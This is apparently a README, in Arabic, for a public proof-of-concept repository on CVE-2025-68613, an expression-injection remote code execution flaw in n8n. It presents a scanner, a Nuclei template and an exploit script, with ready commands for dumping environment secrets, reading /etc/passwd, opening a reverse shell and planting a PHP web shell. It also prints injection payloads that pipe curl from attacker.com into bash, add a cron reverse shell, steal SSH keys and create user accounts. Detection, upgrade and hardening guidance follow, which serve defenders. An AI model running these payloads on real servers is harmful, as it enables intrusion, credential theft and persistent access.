
PoC عام + ماسح ضوئي وبحث لـ CVE-2025-68613: ثغرة RCE حرجة في أتمتة سير العمل n8n عبر حقن التعبيرات (CVSS 10.0). يتضمن أدوات كشف، واستغلالًا كاملًا، وإرشادات المعالجة.

CVE-2025-68613 هي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) اكتُشفت في n8n، وهي منصة أتمتة سير عمل مفتوحة المصدر وشائعة. تسمح هذه الثغرة للمستخدمين المصادَق عليهم بتنفيذ تعليمات برمجية عشوائية على الخادم، مما قد يؤدي إلى اختراق النظام بالكامل.
n8n هي منصة أتمتة سير عمل مفتوحة المصدر تتيح للمستخدمين:
تستخدم المؤسسات n8n من أجل:
هذا الدور المحوري في البنية التحتية لتقنية المعلومات يجعل الثغرات خطيرة بشكل خاص، إذ يمكنها أن تمنح المهاجمين وصولًا إلى الشبكات بالكامل والبيانات الحساسة.
يتضمن هذا المستودع أدوات جاهزة للاستخدام لاختبار اكتشاف الثغرات والاستغلال:
cve-2025-68613-scanner.pyالغرض: اكتشاف آمن وغير استغلالي لنسخ n8n الضعيفة
الميزات:
الاستخدام:```bash python3 cve-2025-68613-scanner.py -u http://target:5678
**المخرجات**:
- رمز الخروج 0: غير مُعرَّض للثغرة
- رمز الخروج 1: الإصدار غير محدد (قد يكون مُصحَّحًا أو مخفيًا)
- رمز الخروج 2: تم اكتشاف إصدار مُعرَّض للثغرة
### 2. قالب Nuclei: `CVE-2025-68613.yaml`
**الغرض**: اكتشاف الثغرات تلقائيًا واختبار تقييم التعبيرات الأساسي
**الميزات**:
- يتطلب رمز مصادقة صالحًا
- يختبر قدرة حقن التعبيرات
- يحاول قراءة السياق العام لـ Node.js (process.platform)
- ينشئ سير عمل اختبارية للتحقق من ناقل RCE (تنفيذ الأوامر عن بُعد)
- تصنيف الخطورة حرج وفقًا لـ CVSS 10.0
**الاستخدام**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
exploit_cve-2025-68613.pyالغرض: إثبات مفهوم كامل للاستغلال مع حمولات هجوم متعددة
الميزات:
المتطلبات:
التثبيت:```bash pip install requests chmod +x exploit_cve-2025-68613.py
**أمثلة الاستخدام**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
كيف يعمل:
this.constructor.constructor()process.platform أو واجهات برمجة تطبيقات Node.js الأخرىرموز الخروج:
بعبارات بسيطة: يتيح n8n للمستخدمين كتابة تعبيرات في سير العمل لمعالجة البيانات ديناميكيًا. ومع ذلك، يتم تقييم هذه التعبيرات دون عزل مناسب، مما يسمح للمهاجمين بالخروج من سياق التنفيذ المقصود وتنفيذ تعليمات برمجية عشوائية على الخادم.
عند إنشاء سير عمل في n8n، يمكنك استخدام "التعبيرات" لمعالجة البيانات. يُفترض أن تعمل هذه التعبيرات في بيئة مقيدة. ومع ذلك، تُظهر الثغرة أن هذه التعبيرات يمكنها الوصول إلى النظام الأساسي، مما يسمح للمهاجم بـ:
عندما يقوم المستخدم بإنشاء سير عمل في n8n، يمكنه استخدام تعبيرات لمعالجة البيانات:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime
#### الخطوة 2: حقن التعبير
يصوغ المهاجم تعبيرًا خبيثًا يهرب من بيئة العزل المقصودة:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
يتم تقييم التعبير دون عزل مناسب، مما يسمح للمهاجم بـ:
تنبع الثغرة من عدم كفاية العزل في محرك تقييم التعبيرات. قام فريق n8n بتقييم التعبيرات في سياق:
require() أو ما يشابههاUser Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft
---
## الإصدارات المتأثرة
### النطاق المعرض للخطر
جميع إصدارات n8n بدءًا من **0.211.0** وصولاً إلى الإصدارات التالية معرضة للخطر:
- `0.211.0` → `1.120.3`
- `1.121.0`
### الإصدارات المصححة
تم إصلاح الثغرة في:
- ✅ `1.120.4` والإصدارات الأحدث في فرع 1.120.x
- ✅ `1.121.1` والإصدارات الأحدث في فرع 1.121.x
- ✅ `1.122.0` وجميع الإصدارات الأحدث
### كيفية التحقق من إصدارك```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"
# Or check the admin panel
# Go to Settings → About → Version
/rest/workflows/{id}/run تُرجع خطأ HTTP 500 في الإصدار v1.121.0
صُمم الاستغلال للعمل ضد النطاق المعرّض الموثق في NVD:
إذا تم الاختبار ضد إصدارات خارج هذا النطاق، فليس هناك ضمان للنجاح.
بمجرد أن يستغل مستخدم مصادق (أو مهاجم يمتلك بيانات اعتماد صالحة) هذه الثغرة، يمكنه:
${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)
${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script
#### 2. قراءة الملفات من الخادم```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files
${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys
${Object.keys(process.env).join(', ')} // Lists all environment variables
${process.env.DATABASE_PASSWORD} // Extracts specific secrets
#### 4. كتابة الملفات الخبيثة```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence
${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access
// Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems
#### 6. إنشاء الثبات```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access
${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account
سيناريو واقعي: شركة تستخدم n8n
شركة تصنيع
الخدمات المالية
منظمة رعاية صحية
نص اكتشاف آمن وغير استغلالي (مضمّن في المستودع الأصلي):```bash python3 CVE-2025-68613.py -u http://your-n8n-instance:5678
**أمثلة المخرجات**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2
--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613
الفحص الآلي باستخدام Nuclei:```bash
nuclei -t CVE-2025-68613.yaml -u http://target:5678
nuclei -t CVE-2025-68613.yaml -l targets.txt
**كيف يعمل**:
1. يرسل طلبات HTTP إلى المسارات الشائعة لـ n8n
2. يستخرج بيانات تعريف الإصدار من HTML/الترويسات
3. يفك تشفير الإعدادات المشفرة بـ base64 إذا كانت موجودة
4. يقارن الإصدار مع النطاقات المعرضة للخطر
5. يبلغ إذا كان المثيل معرضًا للخطر
### الطريقة الثالثة: انتزاع الشعار يدويًا```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"
# Check headers
curl -I http://target:5678/ | grep -i "n8n"
# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz
shodan search "n8n" --limit 10
nmap -p 5678 --script http-favicon target.com
### مؤشرات الاستغلال (IOCs)
**علامات السجلات**:
- تقييمات تعبيرات غير معتادة في سجلات سير العمل
- أخطاء تعبيرات تحتوي على أوامر نظام
- الوصول إلى ملفات حساسة (مثل مراجع /etc/passwd)
- إطلاق عمليات غير متوقعة من عملية n8n
**علامات النظام**:
- حسابات مستخدمين جديدة تم إنشاؤها على الخادم
- مفاتيح SSH غير متوقعة في authorized_keys
- وظائف cron جديدة أو مهام مجدولة
- تعديلات على ملفات النظام
- اتصالات reverse shell من خادم n8n
---
## المعالجة والتخفيف
### الحل الأساسي: الترقية الفورية
**هذا هو الحل الكامل الوحيد للثغرة.**
#### الخطوة 1: النسخ الاحتياطي لبياناتك```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/
# Backup workflows
n8n export --backup-dir ./backup/
باستخدام Docker (موصى به):```bash
docker pull n8nio/n8n:1.122.0 # Or later
docker stop n8n-container
docker run -d --name n8n-patched
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.122.0
**استخدام npm**:```bash
# Backup first
npm run export --backup
# Update
npm update n8n
# Or specific version
npm install [email protected]
استخدام مدير حزم النظام:```bash
sudo apt update && sudo apt upgrade n8n
wget https://github.com/n8n-io/n8n/releases/download/[email protected]/n8n.tar.gz
#### الخطوة 3: تحقق من التحديث```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version
# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"
مهم: هذه الإجراءات لا تُصلح الثغرة الأمنية. استخدمها فقط كإجراءات مؤقتة أثناء التخطيط للترقيات.
n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts
#### 2. مراقبة تغييرات سير العمل```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly
sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable
sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP
#### 4. تشغيل n8n بأقل الامتيازات```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user
# Run n8n as this user
sudo -u n8n-user n8n
# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest
n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts
#### 6. الحاويات والعزل```bash
# Run n8n in a restricted Docker container
docker run -d \
--security-opt=no-new-privileges:true \
--read-only \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--tmpfs /tmp \
-p 5678:5678 \
n8nio/n8n:current-version
find /path/to/n8n -type f -mtime -1
ps aux | grep n8n netstat -tlnp | grep n8n
cat ~/.ssh/authorized_keys
journalctl -u n8n -n 100
---
## مصفوفة تقييم المخاطر
| السيناريو | مستوى الخطورة | الاحتمالية | التأثير | الأولوية |
|----------|-----------|-----------|--------|----------|
| n8n غير مُصحَّح ومواجه للإنترنت | حرِج | عالية | اختراق كامل | 🔴 عاجل |
| n8n غير مُصحَّح داخلي فقط | عالية | متوسطة | خطر التهديد الداخلي | 🟠 عالية |
| n8n مُصحَّح | منخفضة | منخفضة | غير متاح (N/A) | ✅ تم الحل |
| غير مُصحَّح + قيود صلاحيات | متوسطة | متوسطة | مقتصر على المستخدمين الموثوقين | 🟡 متوسطة |
---
## الخطوات التفصيلية للاسترداد في حالة الاختراق
### إجراءات فورية (الساعة الأولى)
1. **اعزل النظام**: افصله عن الشبكة
2. **أوقف الخدمة**: `sudo systemctl stop n8n`
3. **احتفظ بالسجلات**: انسخ جميع السجلات احتياطيًا قبل المسح
4. **نبّه الفريق**: أبلغ فريق الأمن والإدارة
5. **قيّم النطاق**: حدد البيانات التي وصل إليها n8n
### التحقيق (اليوم الأول)
1. **راجع سجلات التدقيق**: تحقق من الأنشطة المشبوهة
2. **حلل حركة مرور الشبكة**: ابحث عن تسريب البيانات
3. **افحص تعديلات الملفات**: ابحث عن الأبواب الخلفية المزروعة
4. **راجع حسابات المستخدمين**: ابحث عن حسابات جديدة أو معدَّلة
5. **تدقيق بيانات الاعتماد**: أعد تعيين جميع مفاتيح API وكلمات المرور التي يستخدمها n8n
### المعالجة (الأيام 2-7)
1. **إعادة بناء كاملة للنظام**: لا تكتفِ بالتحديث، أعد البناء من صورة نظيفة
2. **تدوير بيانات الاعتماد**: أعد تعيين جميع كلمات المرور ومفاتيح API والرموز المميزة
3. **صحّح كل شيء**: حدّث جميع الأنظمة المتصلة
4. **استعد من النسخة الاحتياطية**: استخدم نسخًا احتياطية نظيفة من قبل الاختراق
5. **تدقيق أمني**: نفِّذ تقييمًا أمنيًا شاملاً
### ما بعد الحادث (الأسبوع الثاني فما بعده)
1. **نفِّذ المراقبة**: أعد إعداد تسجيل وتنبيه مستمرين
2. **غيّر العمليات**: حدّث إجراءات الاستجابة للحوادث
3. **درّب المستخدمين**: ثقّف الفرق حول أفضل ممارسات الأمان
4. **افحص الثغرات**: قم بفحوصات منتظمة لمشكلات مشابهة
5. **راجع الامتثال**: تأكد من استيفاء جميع اللوائح (GDPR وHIPAA وغيرها)
---
## الوقاية مستقبلًا
### أفضل ممارسات الأمان لـ n8n
1. **أبقِ n8n محدثًا**
- فعّل التحديثات التلقائية إذا توفرت
- اشترك في النشرات الأمنية لـ n8n
- اختبر التصحيحات في بيئة التدريج قبل الإنتاج
2. **التحكم في الوصول**
- استخدم مبدأ الامتيازات الأقل
- اشترط كلمات مرور قوية والمصادقة الثنائية (2FA)
- طبّق تسجيل الدخول الموحد (SSO) للبيئات المؤسسية
- راجع ودقّق الوصول بانتظام
3. **إدارة سير العمل**
- راجع جميع سير العمل بحثًا عن منطق مشبوه
- نفِّذ عملية مراجعة الكود لسير العمل
- استخدم اصطلاحات التسمية لتحديد سير العمل الحرج
- انسخ سير العمل احتياطيًا بانتظام
4. **إدارة بيانات الاعتماد**
- لا تخزّن بيانات الاعتماد في سير العمل أبدًا
- استخدم متغيرات البيئة للبيانات الحساسة
- داوِر بيانات الاعتماد بانتظام
- دقّق الوصول إلى بيانات الاعتماد
5. **المراقبة والتسجيل**
- فعّل تسجيل التدقيق الشامل
- راقب الأنشطة غير المعتادة
- أعد تنبيهات للعمليات المشبوهة
- راجع وحلّل السجلات بانتظام
6. **أمان الشبكة**
- شغّل n8n في قطاعات شبكة معزولة
- قيّد الوصول إلى الشبكة على الخدمات المطلوبة فقط
- استخدم VPN/جدار الحماية للوصول عن بُعد
- راقب حركة مرور الشبكة بحثًا عن الحالات الشاذة
7. **الاستجابة للحوادث**
- أنشئ خطة الاستجابة للحوادث
- حدد إجراءات التصعيد
- نفِّذ تدريبات أمنية منتظمة
- حافظ على قوائم اتصال محدثة
---
## استكشاف الأخطاء وإصلاحها
### المشكلة: "رمز الخروج 1: فشل المصادقة أو الاستغلال"
**الأسباب الشائعة**:
1. **بيانات اعتماد خاطئة** (الأكثر شيوعًا)
- الحل: تحقق أولاً من أن بيانات الاعتماد تعمل لتسجيل الدخول إلى واجهة الويب
- جرّب: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`
2. **المستخدم لا يملك صلاحيات إنشاء سير العمل**
- الحل: استخدم حساب مسؤول أو حساب مستخدم بصلاحيات إنشاء سير العمل
- التحقق: افحص لوحة الإدارة → المستخدمون والصلاحيات
3. **الإصدار مُصحَّح** (الإصدار > 1.121.0)
- الحل: استخدم الماسح الضوئي للتحقق من الإصدار أولاً: `python3 cve-2025-68613-scanner.py -u http://target:5678`
- المتوقع: يجب أن يبلغ الماسح الضوئي "Vulnerable" (رمز الخروج 2)
4. **تغيّرت بنية API** (قد تختلف الإصدارات الأقدم/الأحدث)
- الحل: افحص نشرة NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
- الأكثر احتمالًا إذا كنت تختبر إصدارات خارج النطاق الموثق
5. **حجب الشبكة/جدار الحماية**
- الحل: تحقق من الاتصال: `curl http://target:5678/`
- افحص: قواعد جدار الحماية وإعدادات الوكيل وشهادات SSL
### المشكلة: الماسح الضوئي يبلّغ عن نتائج إيجابية خاطئة (يكتشف إصدارًا خاطئًا)
**تم الإصلاح في v1.02**: يستخدم الماسح الضوئي الآن إعداد Sentry المشفَّر بنظام base64 من وسم meta بدلاً من regex البسيط. هذا يلغي النتائج الإيجابية الخاطئة حيث كان يتم اكتشاف إصدار Node.js على أنه إصدار n8n.
**ما الذي تغيّر**:
- المصدر الأساسي: استخراج وفك ترميز `<meta name="n8n:config:sentry" content="[BASE64]">`
- البديل: يستخدم regex فقط إذا لم تتوفر إعدادات Sentry
- النتيجة: اكتشاف دقيق للإصدار دون نتائج إيجابية خاطئة
**لاستخدام ماسح v1.02**:```bash
# Update to v1.02
git pull origin main
# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678
هذا ليس خطأً في الاستغلال - بل هو قيد في واجهة برمجة التطبيقات (API).
الشرح:
/rest/workflows/{id}/run خطأ HTTP 500 في n8n v1.121.0الحل البديل:
الدليل: تم الحصول على العلم على TryHackMe: THM{n8n_exposed_workflow}
CVE-2025-68613 هي ثغرة حرجة تتطلب إجراءً فوريًا. مزيج من:
...يجعل هذه واحدة من أخطر الثغرات في منصات أتمتة سير العمل.
الحل البسيط: قم بالترقية إلى إصدار مصحح فورًا. لا يوجد عذر للبقاء عرضة لثغرة RCE حرجة عندما تتوفر التصحيحات.
|- الإصدار: 1.02 |- تاريخ الإنشاء: 18 ديسمبر 2025 |- آخر تحديث: 26 ديسمبر 2025
يتم تقديم هذا المستند للأغراض التعليمية ولتقييم الأمن المصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. تأكد دائمًا من حصولك على التفويض المناسب قبل اختبار أو تقييم أو الوصول إلى الأنظمة التي لا تملكها.
⚠️ تذكير: قم بتحديث نسخ n8n الخاصة بك فورًا إذا كنت تشغل إصدارات عرضة للثغرات.